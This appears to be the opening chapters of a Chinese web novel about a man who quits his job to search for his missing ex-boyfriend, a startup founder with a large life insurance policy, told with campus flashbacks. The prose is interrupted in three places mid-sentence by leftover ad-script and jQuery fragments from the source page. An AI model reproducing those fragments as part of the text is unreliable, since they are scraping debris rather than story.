《山川有宽》 1. 保单 童宽失踪了。 当两位警察坐在自己面前的时候,陈艾卅有点懵。 “他是孤儿,我们能找到的他的社会关系只有你了。” “你们俩是什么关系?” 刚刚还在隔壁大会议室分享下半年销售计划的陈艾卅,此刻和两个警察坐在小会议室里,玻璃门外时不时有人走过,有几个人明显是来看热闹的,陈艾卅皱了皱眉,话还没回答,先呛了警察一句。 “你们就这样直接来公司里找我,不太好吧。” “抱歉,”其中一位年轻些的警察对陈艾卅说,“你电话打不通,短信也没回,有点着急所以直接找来了,如果有什么需要我们帮你解释的,问完话后你尽管提。” 陈艾卅拧开了桌子上本来要给警察的一瓶矿泉水,喝了一口,“这算是审问吗?” 这时年纪大一些的警察才说话,“没有,就是随便聊聊。抽烟吗?” “这里禁烟。”陈艾卅答道。 “童宽是创业的,这个你知道吧?”没等陈艾卅反应,老警察又跟了一句,“他公司两个月前破产清算了。” 陈艾卅的眉紧了紧。 他和童宽是半年多前分手的,那会儿童宽正在和一个资方谈天使轮投资的事,每天几乎凌晨才回家,交代他的事几乎不记得,陈艾卅出差前跟童宽说每天给柠檬草浇个水,一天一次就行,结果回来了后发现枝条都枯了,只有零星的几片叶子挂在上面,手一碰直接就能脆生生地掉下来,但看着在床上连衬衣都没脱就睡到打呼的童宽,陈艾卅还是连草带盆一起处理了。直到自己过生日的那天,陈艾卅特意煮了两碗面,童宽过来两口就吸溜完了,兴奋地跟自己说这个资方愿意投他,但这高兴劲儿完全和自己无关,陈艾卅到底是有些失望了。 “我们能找到你,完全是因为一份保单。”警察说着把一份保单的复印件放到了桌子上,推到了陈艾卅面前。 “四百万,身故的话。”老警察一边说着一边观察者陈艾卅的反应。 他身体往前倾了倾,看了一眼那份保单,目光停留到最下面的投保人签名的时候,直接拿到了自己眼前,童的第二横左边很长,宽的最后一提也很张扬,真的是童宽的字迹,这份保险的投保时间是他创业的第二年,正是最艰难的时候,陈艾卅记得童宽那年还申请了个四百万的经营贷,先是把车卖了,然后把之前买的房也给抵押了,陈艾卅那会儿想问家里要点钱帮他渡过难关,可童宽就这么亮着眼睛告诉自己,“卅哥你信我,一年后我肯定能赚回来”。想到这里,陈艾卅喉结上下滚动了一下,吞了一口唾沫,看向警察的眼神有点慌张。 “童宽他……” 仿佛已经知道陈艾卅要问什么,老警察直接开了口,“已经失联快72个小时了。” 陈艾卅突然觉得有点呼吸不过来,他没法想象童宽变得冰冷的样子,有点着急地问道:“他在哪里失联的?” “不好意思,陈先生,在确认你和童宽的关系之前,我们没办法跟你分享更多的信息。” 听到这话,陈艾卅深深叹了一口气,两只手交叉着放在桌子上,眼睛还是没从童宽的签名那挪开,声音听着有点儿低沉,“我们以前是情侣。” 老警察的表情并无意外,小警察没忍住挑了个眉。 “无意冒犯,想问下你们在一起多久了?”老警察说。 “七年,”说道这里陈艾卅表情里有些落寞,“恋爱四年,同居三年,半年多前分的手。” “为什么?” 陈艾卅苦笑了一下,深吸了一口气,“处久了感情淡了吧。” 那天晚上陈艾卅和客户应酬喝了很多酒,胃特别不舒服,扒着马桶吐了很久后,看了看他们一起住的地方。童宽买的房胜在地段好,可到底是个老破小,两个人没法住,想再买个大点的,陈艾卅正在攒首付呢,俩人就在江边的公寓楼里租了个两室的电梯房,那天晚上就卫生间亮着灯,陈艾卅看到沙发上凌乱放着两件童宽的T恤还有裤子,袜子一只在沙发上、一只掉在了地上,从卫生间透出的光投在地板上,都能看到粒粒明显的灰尘,他又看到洗手池上的牙杯,杯沿上有还没冲干净但已经干了的牙膏沫子,整个屋子都是黑的,只有头顶上的灯照着自己,陈艾卅扶着马桶就睡着了。 他是被童宽摇醒的,他记得那天晚上童宽回来的时候特别兴奋,从卫生间看向客厅正好能看到挂钟,已经凌晨三点了,童宽手上的金属钥匙就这么扔在了洗手台上,他摇着自己的胳膊喊,“卅哥!我们今天下载量破5万了!!”,他还记得童宽摇自己的时候带到了那串钥匙,“哐”的一声掉在了洗手池里。陈艾卅看着面前兴奋的这个人,他突然有点不明白为什么他们还在一起,明明自己一身酒气还躺在马桶边上睡着了,童宽却跑到自己面前来不闻不问,还给他分享了个好消息。 呵,好消息。 好消息只有公司的,坏消息也只有公司的。 陈艾卅还记得他们当天的对话,每每想起来都有点钻心。 “你现在是不是看不到我?” “你在说什么啊,卅哥?” “我问你现在是不是看不到我!?” “我,呃,你不就在我面前吗?” “你看到我了吗?你看到的我是什么样的?” “你怎么了卅哥,不舒服吗?” “我怎么了,我不舒服吗,重要吗?有你的下载量重要吗?” “卅哥我……” “酒桌上还有人问要不要帮我打车,你看到我睡在马桶边上,却兴高采烈地来和我说你的下载量破5万了,真有你的,童宽。” “谁……谁要帮你打车啊?” “比你更关心我的人!” “是么。” “是!” “那你是……要走了么,不要我了?” 本来也只是想发一通脾气而已,只是想吸引一下童宽的注意力,可他的一句你要走了么、不要他了么,陈艾卅突然像反应过来了什么似的,近两年里,这个人脑子里永远只有直来直去的答案或者解决方案,别说情绪价值了,连和自己有关的情绪都少得可怜。是不能再留下来了,他只要工作就可以了,他连生活、连命都可以不要,陈艾卅算什么,男朋友算什么,七年又算什么,七年比得上五万的下载量吗? 是,陈艾卅承认,童宽天赋很高,算是他们计算机系的精英了,从本科开始就自主研发一些程序和软件,还被人买走了不少,研究生还没毕业大厂就相继给了他offer,但他偷偷跟陈艾卅说过,他就打算去捞几年钱,回头要自己研发一个APP,童宽是有些赌性在身上的,也许天才都看不上循序渐进,一步登天才 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是他们的追求吧。但陈艾卅只能算是个比较优秀的人,他也只想过一个比大众稍微好一点的生活罢了。 当天晚上陈艾卅就拿了行李箱收拾,童宽一直坐在客厅的沙发上没动,陈艾卅余光里还能看到他坐在了那只脏袜子上,直到把必要的衣服都收拾完了,童宽还跟个石膏人似的定在那里,陈艾卅大步走到客厅,把那些脏衣服、脏裤子都拿了起来,用力扯出了童宽坐着的袜子,又捡起了那只在地上的,统统扔进了洗衣机之后,倒上了洗衣液启动。 “以后你自己记得洗衣服。”陈艾卅说。 童宽还是直愣愣地看着地板,脸上一点表情都没有。 陈艾卅拎着行李箱就走了,当天晚上也不知道去哪里,就在家附近的酒店开了间房。躺倒在床上的时候,陈艾卅眼眶有点发热,他觉得刚出来的的那个地方,已经不能被称作是“家”了。 睡着前,陈艾卅关闭了互相查看朋友圈的权限,却没删好友,虽然之后再没说过话,但直到今天,他们还在对方的通讯录中。 “哦……”老警察就说了一个字,给了旁边个警察使了个眼色,“那我们走了,谢谢你的配合,陈先生。” “等等。”陈艾卅脱口而出。 老警察望过来的眼睛里有疑问,也有意料之中。“还有什么事吗?” 陈艾卅没说话,他刚刚已经把分手原因和老警察说了,但人好像不打算回答自己的问题。 “是要了解怎么获取理赔吗?”老警察说,“意外失联两年确认身故,然后再去问保险公司。” “不是,”陈艾卅说得有点着急,“他是在哪里失踪的?” 老警察的眼睛里露出了些安慰,好像就在等他问出来,“在一个伐木转保护的林子里。” 伐转保森林……陈艾卅心里一个咯噔,这是自己和童宽说过的。 陈艾卅研三的时候,童宽研一,他俩是在童宽勤工俭学的时候认识的,那时候陈艾卅还是学生会外联部的部长。陈艾卅记得那天他刚带队参加完一个企业的公益活动回来,一路口渴得不行,跑到教育超市里就在收银台这拿了瓶水要付款,但那台仪器怎么都识别不了自己的校园卡,微信二维码也卡了,陈艾卅本来想算了,再忍忍到宿舍就好了,没想到当时在那做收银员的童宽拿出了自己的校园卡刷上了,递过水来的时候还笑了下。 “请你喝吧,看你快要渴死了。”童宽有一颗虎牙,笑的时候会露出来。 陈艾卅拿过来的时候愣了了两秒,才说了声谢谢,他又跟童宽说加个好友吧,把钱转给他,他说不用,一瓶水还是请得起的,解渴了就行。虽然童宽到底没收陈艾卅转过来的钱,但两人还是加上了好友。 四百万的理赔、伐转保森林、童宽笑着的样子。 陈艾卅突然觉得有点睁不开眼睛,他问那两个警察,声音有点不稳,“72小时,生还的可能性多大?” 老警察看着陈艾卅,踌躇了一秒,“两到三成。” “72小时后呢?” “很难说。” 陈艾卅拿起了那张保单复印件,又问:“这张可以留给我吗?” “可以。” “麻烦您把他最后失联的地方告诉我。” 两位警察都没有说话。 “童宽没有别的亲人了,我得去找他。” 2. 虎牙 是怎么送走两位警察的,陈艾卅已经不记得了,有意识的时候,自己已经回到了座位上,打开了邮箱,刚打下Dear Aaron的时候,他犹豫了几秒,一封简短的辞职信很快完成了,输入了市场总经理的邮箱,直接点了发送。一分钟后,陈艾卅桌上的电话响了起来,他深吸了一口气接了起来。 “Issac,刚刚你还在分享下半年的销售计划,怎么那么突然,能说说为什么吗?” “实在抱歉Aaron,家里有件非常紧急的事,我需要出趟远门。” “我的意思是,为什么不请假?” 为什么不请假,陈艾卅一句两句说不清楚,心里比脑子里还要复杂,他不清楚的是,不知道这次要花多少时间才能把童宽找回来,就算立刻出发,到了那也超过72小时了,还有一件不敢想的事,不知道找回来的童宽是死是活。想到这里,陈艾卅紧张地咽了口唾沫。 他又沉默了几秒,才开了口,“我不知道要多久。” “你的能力我是认可的,可以办停薪留职。” 陈艾卅轻笑了一声,“谢谢,真的抱歉,之后的事我也说不好。” 挂了电话后陈艾卅又给HR打了电话,说自己今天就要走,如果有时间过渡限制的话,就当他这个月没来,HR一下没反应过来,直到陈艾卅说就是这个月工资不用给我发了,HR才说她会再和老板确认下,陈艾卅说了声谢谢。 挂了电话到离开公司,陈艾卅总共用了不到10分钟,他只拿了一些必要的东西,其他的一概来不及收拾了,就拜托了同事帮忙处理掉,别人离职至少有个离职箱,陈艾卅拿了自己的包就走了,离开了公司大门他又折返了回来,取下了工牌放到前台,对着前台的小姑娘笑了笑,说这个就留在这了。 “陈总,您以后真的不来了吗?” “嗯,”他对着前台姑娘扯了个笑点了点头,“不来了。” 陈艾卅身高腿长,风度翩翩还幽默开朗,公司里有不少人对他有小心思,但他从未逾矩,无论是和童宽在一起的日子还是分开后,从来没发生过什么“逢场作戏”的事。有一次营销部的大美女Tracy都故意把咖啡洒在他裤子上了,他也是笑笑说下次小心,都没去洗手间清洗,留了句“出去拜访客户”就拿了包走了。这事儿发生了后就在办公室传开了两种言论,一种说销售部的陈总监是正人君子,另一种就说他是Gay,陈艾卅一个做销售的人,怎么会不知道他们背后怎么说他的,他一点儿也不在意,反而觉得他们总结得齐活,是Gay没错,至于君子么,就当补药吃了。 从地下车库开出去的时候,太阳很大,正是夏末,暑气还没有完全褪去,车里开着空调也开着窗,放在方向盘上的手冷热交替,脑子里都是那份保单上的签名,那个宽字的一勾好像深深地扎进了陈艾卅的心里,想大声责骂童宽,但一想到童宽很有可能再也不会出现了,那一勾好像又扎得深了些,疼得发昏。 回家随便拿了几件厚衣服塞进行李箱里,陈艾卅就准备出发去机场了,身上背的包是深蓝色的,分手那天出来得太急,看不清颜色,倒是把他黑色的那个包留下了。 “卅哥!来买水吗?今天机器没卡过哦。”童宽在教育超市里对着自己笑。 自从知道陈艾卅研三后,童宽就这么叫他,卅哥卅哥的,陈艾卅还问过他,别人听了以为你叫傻哥呢,童宽笑着摸了下鼻子就说那他以后不这么叫了,陈艾卅当时也不知道动了什么心念,就顺了童宽说叫吧叫吧,这么叫还有点青春活力的意思。 “不买水,买个包。那个架子上黑色的包能不能帮我拿一下啊?有没有不是样品的?” 当时也不是真的想买包,但陈艾卅不渴,也没想去买什么吃的用的,但就是想去教育超市逛一逛,直到进了超市童宽和自己打了招呼,陈艾卅才发现买什么东西都太快了,到收银台滴一下就完了,走到文创用品展示柜的时候,就觉得这个包不错,不错是因为这个包外观的确不错,也是因为只在柜子上展示了两个,一个黑色的一个深蓝色的,他可以让童宽去仓库看看,有没有不在展示柜上的。 “好嘞,”童宽正好在给排队的几位同学收银,“卅哥你稍等我会儿哈,等这边忙完的。” “不急,不赶时间。”陈艾卅就走到了一边,一手插袋靠在门口的高脚桌上,脸冲着外面,听着背后滴滴的声音,偶尔童宽还会说一句“手机离得稍微远些容易识别”,陈艾卅隔着玻璃看门口的那棵大梧桐树时候,心里头冒了个疑问,这梧桐絮,到底是几月份飘。 “卅哥,是要的这个不,你看看?”童宽拿着一个套着塑料袋的黑色书包过来了。 陈艾卅接了过来,连塑料袋都没拆,就正反看了两下子,“是,挺好的,走吧扫码去。” “不用拆开看看吗?这个不是一次性的塑料袋,可以反复粘的,里面的构造你还没看过吧。” “不用,大同小异都,能用就行。” 童宽虽然不解,但到底没多说什么,就觉得刚刚还说不赶时间的陈艾卅,突然着急要走一样,他拿着包到收银台扫了一下,显示出来是268,惊了一下,“挺贵的卅哥,这价能买外面品牌的书包了。” “嗯,”陈艾卅只想尽快离开这里,他觉得教育超市有魔法,已经呆了那么久了,自己竟然还想继续呆,“没事,就这个吧。”校园卡里没这么多余额,陈艾卅亮了微信二维码,他承认,扫码的时候是故意把二维码离扫描屏那么近的,但他不知道为什么。 “太近啦,这样扫不出来的。”说完了这句话的童宽,伸了手虚虚握住了陈艾卅拿手机的手,往上提了提,随着滴的一声,识别扣款了。“这个距离刚好。”童宽又对陈艾卅笑了,露出了那颗虎牙。 “好的,谢谢,走了。”陈艾卅觉得自己好像是逃走的,童宽的笑太刺眼了。 陈艾卅还是第一次直接去机场的柜台买机票,他只要最近的那一班,飞行时间总共是三个小时,他心里盘算着,下了飞机还要赶火车,下了火车还得坐汽车……他打开了手机备忘录,童宽最后失联的地方,光要到达那里,就要花上十几个小时了。他甚至热切盼望着,能在上飞机之前,收到童宽已经找到的消息,可手机一直安静着,只有微信上不断增加的数字,他并不想去看,无论是因为关心还是好奇,或者是还不知情的日常工作内容,全都失去了看的兴致,他甚至想直接把微信卸载掉,心里憋着一股无名的怒火,却不知道要怎么发出来。 坐上飞机的时候, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 陈艾卅还是打开了手机,略过了所有红点,在通讯录中把童宽的微信找出来了,点开了后发现他的头像一直没换,连朋友圈的背景图也没换,名字还是叫TK,就是头像下的那句话本来是加缪的“道德判你死刑,哲学证你无罪”换成了另一句“欲望总是以厌倦收场”,摸着那行字的手指头仿佛被针扎了一样,没拿手机的另一只手逐渐捏成了拳,陈艾卅深深吸了一口气,把手机关了,放进了包里,直接放到了头上的行李架上,他连听音乐打发飞行的兴致都没有,越接近出发越心焦,索性闭上了眼睛,如果可以的话五感都想在此刻丢弃,每一个证明活着的感觉都在折磨自己,他害怕了,怕童宽的五感消失掉。极度的紧张带来了大量的精神消耗,陈艾卅竟然不知不觉睡着了,他没梦到童宽,却在梦里想起了一次与他有关的对话。 有一次外联部开会,陈艾卅到得早,就坐在位置上等人来,有两个干事比他到得还早,互相打了招呼后,也就各自等着了,本来他还拿了今天要讨论的议题要再看一遍,但那两个女生的对话把自己的注意力抓了过去。 “你知道吗,教育超市收银的那个,阳光大男孩,他喜欢男的!” “真的吗真的吗?我以前就怀疑过!听说他都研一了,就看起来长的小。” “真的,听说他之前男朋友是体育生呢。” “帅吗帅吗?现在不在一起了啊?” “不清楚,就听说体育生分手了后说他抠,平时还逮着机会了就拼命挣钱。” “啊?这么市侩的啊?” “是啊,我也没想到,白白净净的小帅哥居然掉钱眼里了。” “怪不得研一了还勤工俭学呢。” “人还是计算机系的,平时好像也私下接了不少项目。” “那应该挣得不少啊,怎么那么缺钱?” “谁知道呢。” 陈艾卅听着皱了皱眉,童宽喜欢男的?还很缺钱?第三个问题最让他不解,怎么那么缺钱,还在第一见面的时候就请自己喝水呢?可能因为水只要2块?所以并不值钱? 接着他又绕回了第一个问题,童宽喜欢男的? 陈艾卅并不是一开始就是Gay的,在本科的时候他有过一个女朋友,在遇见童宽前甚至没想过自己会喜欢男的。作为外语语言文学系英语专业唯十二的男性之一,陈艾卅的外表算得上是整个外语学院的门面了,给他表白的同班同系同院同校的都有,就是没有同性的。本科的时候有一天室友问他,这么多女孩子追你,怎么不谈个恋爱,陈艾卅觉得好像有点道理,大学里应该要谈个恋爱的,恰巧后几天正好有个隔壁法语系的学姐跟他告白,学姐叫斯昀,长得欣长白净,长得好看不说,性格也外向洒脱,陈艾卅就答应了,斯昀的笑得很灿烂,但他总觉得缺了点什么。 他记得斯昀三个月后跟他提分手的时候,笑着拍了拍他的肩膀,说Issac,你谈恋爱不走心,不知道你当初为什么答应我,但是希望你以后能遇到一个让你走心的人。陈艾卅有点莫名其妙,他们明明接吻也做|爱,为什么会说他不走心。不过分手那天,他感受到的不是难过,而是有些放松。 陈艾卅又在梦里看见了童宽的那颗虎牙,他知道自己鼻子酸了,但他不愿意醒。 3. 栽树 飞机落地出舱后,陈艾卅最大的感觉就是温差,这边的夏末晚上已经有了明显的凉意,虽然空气干燥这个冷并不刺骨,但他还是下意识地担心童宽现在有没有足够的保暖衣物。等行李的时候,陈艾卅给童宽失联的当地警方打了个电话,幸好这边人说话没什么口音,他能听懂。 “好的,那边警方已经跟我们联络过了,你到了就直接来派出所吧。” “现在还是没有消息吗?”陈艾卅问道。 “没有,第一批搜救队已经回来了,现在去的是第二批。” 陈艾卅咬了咬牙,他其实想问你们就不能多派点人去吗,兜个底朝天,但他自己是最后一个知道的,又有什么资格指挥别人,“好的,麻烦了,有消息请第一时间告诉我。” 话音还没落,那边的警察就接上了,“你怎么会让他一个人去那里的,一点危险意识都没有。” 好像有一记耳光打到了自己脸上,陈艾卅后牙槽一阵发紧,他深吸了一口气,“对不起。” “有些话我们还是有责任要说在前面,时间越长能找回来的概率越小,陈先生你要做好准备。” “做……什么准备。”陈艾卅都有些发不出声来了。 “找不回来的准备,和不一定能活着找回来的准备。”民警的口吻一点没含糊。 挂电话的时候陈艾卅的手禁不住抖了一下,行李从面前路过,跟着转盘又回到了墙的内侧,明明在赶时间,但他却错过了,他逆着姓李转盘的方向跑,绕过了一圈又到了行李的出口那,恰巧行李又转了出来。他忍不住向上天祈祷,这样让人感到幸运的巧合,多发生在童宽身上些。 机场到火车站并不远,他逆着人流走向了出租车,这个城市他并不陌生,研三的时候他来办的公益植树活动就在这里,那是他作为外联部部长牵头办的最后一场活动了,那时候还没有伐木转保护森林,他还记得童宽是交了报名费来参加的,当时陈艾卅都不知道该不该收这个钱,活动还需要自行承担差旅,童宽很缺钱,这是陈艾卅对他的笑和虎牙之外的第二个认知。 “卅哥!”童宽从背后小跑上来,“好久没见你了,最近不在学校里吗?” 陈艾卅回过头,看到童宽穿了件白色的印花T恤,还有一条橄榄绿色的五分裤,逆着光的他头发丝都像挂上了灯珠一样,陈艾卅有点看不清童宽的表情,但能看到他额角也有一些汗,跑这么两步就出汗了,这小男生运动量不行啊。 “嗯,找工作呢,”陈艾卅苦笑了一下,“感觉我们学英语的找啥都不对劲。” “没有啊,”童宽又对着他笑了,“学英语其实哪里都有用,你看,连我们写代码也得会点英语,不然都写不下去。” “你……”陈艾卅顿了顿,本来是想问为什么要勤工俭学的,可话到了嘴边又咽回去了,“码代码辛苦吧?” “这话说的,做啥不辛苦啊,你办活动辛不辛苦?” 陈艾卅想了想,“倒还好,我还挺喜欢张罗这些事。” “看见啦,”童宽的活泼天真很难让陈艾卅把他和IT男联系在一起,“你简直要把全国能种树的地方都种了一遍了。” 陈艾卅有些惊讶,自己在做这些外联活动的时候,更多还是和林区、湿地和保护区建立联系,他不乐意找那些五百强的大企业去体验什么商务人士的精致生活,更愿意把团队往林子里带,尽管后来也收到了一些投诉,他也做了相应的调整,但整个外联部的活动基调还是以公益环保为核心的,陈艾卅的朋友圈里,到处都是他全国各地种树的痕迹。 “我们两月后有个活动,你有没有兴趣?”陈艾卅突然想起来这个活动还需要额外收费的,但开了口又不太好收回去,只能硬着头皮往下说,说到后面声音就小了,“是在一个偏远小城里栽树,离十多公里的地方还有一大片野林子,就是有报名费,还得自己承担差旅。” “好啊!”童宽看起来心情很好,“下月我们论文开题,下下月应该没事了。” “你为什么勤工俭学啊?”陈艾卅还是问了,如果会影响他基础生活保障的话,还是得劝他别去了。 “助学贷款啊,今天刚全——部——还完了!我今天就是去门口银行办还款来着。” 陈艾卅有点儿惊讶,助学贷款虽然说能解燃眉之急,但印象中好像也有个小二十万,童宽才研一,怎么能这么快就还完的,难道他缺钱指的是要还贷款吗。 “我……”童宽踌躇了一秒,又展了个他标志性的笑容,“我没有爸妈,就只能都靠自己了。” 这个信息像雷一样砸到了自己旁边,陈艾卅下意识地把眉头锁紧了。 “出事故了吗,还是?” “从小就没有,哈哈,习惯了。”童宽把背着的书包往上颠了颠,“院里长大的孩子,孤儿院。” “哦……”陈艾卅吸了口气,不知道该怎么回应。“那上学的钱?读研应该也……不便宜吧?” “还好,我有补助的,加上我平时帮人家老板开发的一些网页啊小程序啊软件什么的,能覆盖不少的。”童宽像突然想起来什么似的,“卅哥,你那个种树的活动,报名费多少啊?大概差旅多少呢?” “报名费要一千了,不便宜的,算上差旅的话,估计得有个两三千。”陈艾卅的眉皱了皱,“没事的,下次有本地的我叫你。” “下次你还带队吗?”童宽看着自己的眼睛,一脸真诚地问。 这个问题是陈艾卅没想到的,下意识地他脑袋里跳出了童宽喜欢男的这几个关键词,陈艾卅甚至有些恐慌,他不知道该怎么回答,如果回答还带队,那就是在骗他,如果回答不带队了,那童宽参加这个活动,是因为活动本身,还是因为他呢? “卅哥?”童宽面色有些不解,“想什么呢?” “啊没有,”陈艾卅最终还是选择了坦诚,“不带了,这是我最后一次带队外联部活动了。” “那必须要支持卅哥的活动呀,”童宽笑了起来,眼睛弯成了一个好看的弧度,“上哪报名?直接跟你说一声就好了吗?” 陈艾卅看着童宽不说话,他心里的纠结和他喜不喜欢男 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人无关,还是怕他太费钱了。 渐渐地,童宽的笑也不见了,脸上有了些尴尬,“不好意思啊,卅哥,我……我都没问方不方便就,自顾自地说要报名了。”他挠了挠头发,又扯了个笑,但明显并不是高兴的,“我唐突了。” 明明是自己问他有没有兴趣的,现在他有兴趣,陈艾卅反而别扭了起来,但他不知道该怎么样去化解这个尴尬,三千的费用,不是一笔小数目了,已经接近半年的学费了。 “不是,”陈艾卅轻轻拍了一下童宽的背,“我刚刚就在想补贴学生能不能减免一些费用什么的。” “真的吗?”童宽的眼睛一下子就亮了,“不、不过卅哥你也别太为难,我有存款的,够的。” “没事儿,我想想办法,”陈艾卅也笑了,“不能浇灭我们小学弟对公益植树的热情。” “太感谢了,没有也没事,”童宽挠了挠头,“我也挺喜欢种树的,我喜欢在林子里的感觉。” 不知道为什么,陈艾卅看到童宽的表情从无措变到高兴,他自己心里也感到高兴起来,好像压在童宽身上的那些压力他感受到了一样,但童宽一笑,这种窒息感就消失了。 仔细看童宽的脸,瓜子脸,头发就留到耳朵尖那,也不像那种大锅盖似的服帖,反而碎碎散散的,发质很好,在阳光下还泛着亮,眉毛轮廓倒是挺明显的,鼻梁偏细,鼻头还有点儿尖,嘴唇只有浅浅的一层粉,薄薄的,但下巴的弧线很好看,连到他的脖子……陈艾卅突然惊了一下,他竟然这么仔细地在端详一个男人,目光挪开的时候自己也忍不住松了口气。 到研究生宿舍楼了,陈艾卅问童宽,“你住哪里?” “17号601,你呢卅哥?” “16号612,你在我隔壁?”陈艾卅突然意识到。 “对哦,虽然楼栋不一样,但我们好像就隔了一堵墙来着。好巧。” “啊,好巧。”陈艾卅的头往16号的方向偏了偏,“走了,回见。” “回见卅哥。” 陈艾卅走近了16号楼后,没有立刻上楼,而是往宿管住的方向那偏了偏,那里有一扇窗,白天从外面看看不到里头,但外头路过的人倒是可以清清楚楚,他就这么看着童宽路过了16号,往17号楼的方向走,阳光铺在他的身上,额角还是有汗,应该是体质上就比较容易出汗吧,陈艾卅想。直到他只能看见童宽的背影了,陈艾卅才发现,童宽背着的那个书包,和自己买的那个是同款,只不过他背着的是深蓝色。 在前往火车站的出租车上,陈艾卅的手捏紧了自己带着的深蓝色书包,他甚至低头去闻了闻,他不知道这上面还会不会有童宽的味道,半年多了,应该什么味都散了,可陈艾卅好像还是闻到了,不知道是不是记忆带着气味来找他了,可他又立刻否定了这个答案,他和童宽在一起七年,彼此的气味早已融入骨血,他根本不需要去想起来,因为他从未忘记。 童宽啊,你在哪呢。 我来找你了,一定好好的,行吗。 卅哥求你了。 4. 围观 研三的日子基本就是准备毕业论文和找工作了,其实有几家不错的外企向陈艾卅伸出过橄榄枝,其中有两个他是比较有兴趣的,一个是偏向公司管理的经营管理部的管培生,另一个就是法务部门的实习生,他始终觉得英语只是一个工具,只有具备相关的专业技能的时候,才能发挥英语真正的价值。 这天陈艾卅正准备去面试呢,刚下楼就听见在离研究生宿舍楼最近的第三食堂那有熙熙攘攘的声音,他没忍住好奇心,往那走了走,就看到一圈圈人围着,中间好像有个男的在歇斯底里地说着什么,再底下的光景就看不见了,应该是有个人倒在地上了,那个在大声说话的男的是脸朝下的,估计是哪对小情侣闹矛盾了吧,他心里想着,也感慨着,年轻人啊,就是劲儿足、爱闹腾,等他们研三的时候—— “童宽!!你他妈的!骗老子的感情还骗老子的钱!” 这一声吼把陈艾卅叫住了,他立刻往前挤了进去,入眼就看到一个挺壮的白皮男生膝盖着地,手上拎着一个人的衣襟,都把人的脊背形状都勒出来了,童宽的这一脸怒气是陈艾卅从未看到过的表情,印象里他都是笑着地叫自己“卅哥、卅哥”,脸都涨红了,眼睛里冒着凶狠,可一点儿晶莹都没有,童宽的两只手抓住了拎自己衣襟的那只手,陈艾卅清楚地看到他指甲都在用力地抠他。 旁边竟然没有一个拉架的。 窸窸窣窣的那些声音,都在看热闹。 “Gay啊?吵架了啊。” “同性恋也不知道低调点,啧啧。” “小0骗了小1的钱,小1来讨债呢。” “这不是那个教育超市里收银的小哥哥吗?他真的是同啊!” 越听越难听,童宽的脸都快憋成紫红色了,陈艾卅心里毛躁地很,也顾不上别的了,直接走了过去,扯了把那个男生的肩,又拉了一下,那人重心没稳住,一屁股坐到了地上,童宽的脸色也得以缓解了,别过了头一个劲地在那咳嗽。陈艾卅走到童宽旁边,扶着他的胳膊协助他站起来,直接带走了,也没管背后那个叫嚣的着的白皮男生。 “没事吧?” 童宽摇了摇头,脸上的表情说不清是惊恐还是茫然,开了口却发现是哑的,“卅哥,你怎么在这?” “我路过。”他隐瞒了自己要去面试的事实,“吃饭了吗?” “没,啊,吃过了。”童宽笑了笑,但眼睛里没有以往的光彩,“那我先回去了。” “我好饿啊,你陪我再吃点?”陈艾卅看穿了童宽的借口,虽然他已经在宿舍里解决了一个三明治的,但他觉得这会儿最好别走,童宽这失魂落魄的样,走哪儿都感觉危险。 “……行的。”童宽应了下来。 陈艾卅带着童宽还是去了第三食堂,只不过没去一楼的大众餐厅,直接上了三楼,那儿人少,桌椅什么的还隔得比较开,方便讲话。他没过问童宽的意见,直接要了两份肥牛盖饭,又买了两杯柠檬水,回到餐桌边的时候正好看到童宽在打字,见了陈艾卅来了又赶紧把手机收回去了。 “怎么了,”陈艾卅笑着说,话里都带着一些笑的气音,“跟做贼似的。” “没、没有。” “他弄疼你了吗?”其实是想问他发生了什么事的,可不知道为什么话到了嘴边却是这一句。 童宽盯着陈艾卅没什么表情,他很少对着陈艾卅不是笑着的,好像在问什么,又好像在掩藏什么。 “抱歉,”陈艾卅抿了下嘴唇,“我好像不应该这么问,冒昧了。” “陈同学——两碗肥牛盖饭好了!!” 食堂小哥大声喊了一句,陈艾卅赶紧起身去拿,他看到童宽也想站起来的,但还是他比较快,对着童宽点了点头说他去拿,就赶紧去柜台那去取了,回来的时候童宽已经拿好了两双筷子和勺子。 “卅哥,”童宽的声音有点低,“应该说抱歉的是我,刚刚我骗你了,我……还没吃饭。” “那正好,陪我吃个饭。” “挺疼的。”童宽这会儿才笑了笑,但陈艾卅总觉得他眼角挂着点难过。 “那个人是谁啊?” 陈艾卅觉得自己问得挺自然的,但他没想到问出了口后,童宽一直没回答,而是就这么闷头吃着饭,他看到童宽先是把肥牛都扒拉到一边,先就着配菜吃米饭,直到配菜都没了,童宽才夹起来一小片牛肉,又就着一大口白米饭咽了下去,不知道是不是因为咽得太快,有些噎住了,陈艾卅就拿了桌上的柠檬水给他,见他一手拿着筷子,另一手在顺着自己的胸口,陈艾卅又拿了回来,扎好了吸管再递了过去。 终于顺下去了,童宽深吸了一口气。 “卅哥,我不太正常的,”童宽皱着眉,好像说出这句话费了很大劲一样,“你别问了吧。” 不就是喜欢男人么?陈艾卅这会儿心里倒觉得这小男生看不起自己了,这有什么不能说的,没吃过猪肉还没见过猪跑么,还不太正常,担心过多了吧。这些心里头的想法带着一些童宽对自己的不信任,而产生了一些不太舒服的感觉。 “他说你骗他感情还骗他钱,我听见了。”陈艾卅吃着饭,假装不经意地漏了一句。 “我……”童宽一下就挺直了背,看似想立刻反驳,但还是埋头又吃了一口饭,“我没有。” “没骗感情还是没骗钱?” “……都没。” 陈艾卅抬了下眉毛,点了点头,看起来很随意。 “我真没,”童宽顿了话头,“有些项目是他接的,说好的三七分,他三我七,结果老板结款了,他就给了我四,然后我就把服务器停掉了。” 竟然没提感情的事,但这做法好像也挺刚的,这孩子有点猛。 “然后呢?” “然后他就来找我闹啊,去宿舍逮我,我锁门不下楼,他就在楼下蹲我,今天中午实在太饿了,宿舍里的零食也都快吃完了,我探头看了看他不在,就下来了,没想到在食堂门口碰上了。” “他就揍你啊?” “一开始是用说的,后来我说如果他不把钱给我,我就删库,他就火了,”童宽把脑袋撇到了一边,好像还在生气,“我打不过他。” “那你怎么不正常了?”陈艾卅突然有点担心童宽误入歧途,“没开发什么违法软件吧?” 